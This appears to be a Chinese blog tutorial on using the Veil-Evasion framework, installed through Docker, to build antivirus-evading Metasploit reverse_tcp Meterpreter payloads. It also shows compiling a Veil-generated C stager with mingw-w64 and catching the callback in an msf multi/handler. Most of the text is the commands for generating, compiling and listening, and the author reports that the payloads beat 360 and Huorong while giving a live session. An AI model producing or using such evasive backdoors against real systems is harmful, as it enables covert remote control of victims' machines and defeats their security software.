0x01 免杀能力一览表
- 1、下表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
- 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
- 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2019.12.12),火绒版本5.0.33.13(2019.12.12),360安全卫士12.0.0.2001(2019.12.17)。
- 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。
0x02 前言
Veil、Venom和Shellter是三大老牌免杀工具,虽然说人怕出名猪怕壮,但目前这几款免杀工具在扩展性和免杀能力方面依然有着不错的表现。
Veil-Evasion是一个用python写的免杀框架,可以将任意脚本或一段shellcode转换成Windows可执行文件,还能利用Metasploit框架生成相兼容的Payload工具,从而逃避了常见防病毒产品的检测。
0x03 安装Veil
常规安装失败
veil地址:https://github.com/Veil-Framework/Veil
安装参考https://www.freebuf.com/sectool/89024.html
kali快速安装
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
看起来没什么问题,但后来在执行的时候各种出错,依赖包各种出问题,无论是快速安装还是常规手工安装都没能解决。网上也有很多人吐槽安装比较繁杂,出现各种状况,但也有的系统安全比较顺利。
后来,发现有人做好了veil的docker镜像,简单便捷,一键运行。
Docker安装
安装docker
apt-get install docker docker-compose
安装完成后启动:
service docker start
在kali里安装docker后,添加docker加速镜像地址vi /etc/docker/daemon.json
{"registry-mirrors": ["https://1nj0zren.mirror.aliyuncs.com","https://docker.mirrors.ustc.edu.cn","http://f1361db2.m.daocloud.io","https://registry.docker-cn.com"]
}
然后重启docker服务
systemctl daemon-reload
systemctl restart docker
拉取veil镜像
docker pull mattiasohlsson/veil
拉取成功后,执行
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
-v /tmp/veil-output:/var/lib/veil/output:Z
是将宿主机的/tmp/veil-output目录映射到docker里面,这样veil生成的payload可以直接在宿主机里使用。
使用exit命令退出,使用下面命令查看container
docker ps -a
之后再进入镜像可以在启动镜像后使用下面命令:
docker start -ai a323f16bcf59 (替换成自己查的ID)
运行起来后,之后再进入镜像可以在启动镜像后使用下面命令
docker exec -it a323f16bcf59 (替换成自己查的ID) /bin/bash
执行veil命令可启动,版本为3.1.1。
0x04 veil使用
veil有两个免杀的工具,Evasion和Ordnance。
Ordnance可生成在Veil-Evasion中使用的shellcode,Evasion是用做文件免杀。
我们一般选择Evasion:
Veil>: use 1 #选择Evasion功能
Veil/Evasion>: list #查看payload列表
使用list可以看到到41种stager
推荐使用以go和ruby语言encode的编码方式。像python这类的与用户有较高的交互就容易被查杀。
veil原理可以参考这篇文章:https://xz.aliyun.com/t/4191
1、使用veil直接生成exe
veil可以直接生成支持msf的payload,我们先试一下看看效果。
我们使用go语言生成msf的payload
Veil/Evasion>: use 16
设置好msf的监听主机和端口就可以,下图所示
set lhost 192.169.128.142
set lport 5555
generate
然后再设定好生成的payload的名称,我这里就用go_msf了
然后一堆编码编译之后,就生成payload了
因为之前已经做过映射,所以在宿主机的/tmp/veil-output/compiled/目录可直接看到生成的exe文件。
在msf中监听:
use multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lport 3334
msf5 exploit(multi/handler) > set lport 10.211.55.2
msf5 exploit(multi/handler) > exploit
在测试主机执行go_msf.exe,发现msf中可上线
而此时是正常打开360和火绒的
Veil真NB!
虽然查杀率还比较高,不过火绒和360都能静态+动态免杀。比较遗憾的是生成的exe文件比较大,go语言生成的exe大约2M,python生成的exe大约4M,ruby生成的exe大约700K,相比msf原生态的exe大打多了。
2、使用veil+mingw-w64
先用veil生成shellcode
use 7
[c/meterpreter/rev_tcp>>]: set lhost 192.168.142.134
[c/meterpreter/rev_tcp>>]: set lport 5555
[c/meterpreter/rev_tcp>>]: generate
输入生成文件名为c_msf
文件在/tmp/veil-output/source文件夹下
先生成一个可以被 msf 利用的 c_msf.c 然后用mingw-w64 来编译
mingw-w64的安装可参考https://zhuanlan.zhihu.com/p/76613134
gcc -o payload.exe c_msf.c -l ws2_32
运行生成的payload.exe文件,msf成功上线
全程开启360卫士和杀毒以及火绒,编译、运行、上线都没有问题。
0x05 小结
veil功能还是很强大的,生成的shellcode自身免杀能力就不错,而且支持多种语言的shellcode编译打包,和msf及cs可以无缝对接,值得人好好研究一下。三大老牌免杀工具不是浪得虚名的
0x06 参考整理
使用veil绕过杀软:https://blog.csdn.net/wyf12138/article/details/79825833
免杀后门之MSF&Veil-Evasion的完美结合http://www.secist.com/archives/1107.html
APT级的全面免杀:https://xz.aliyun.com/t/4191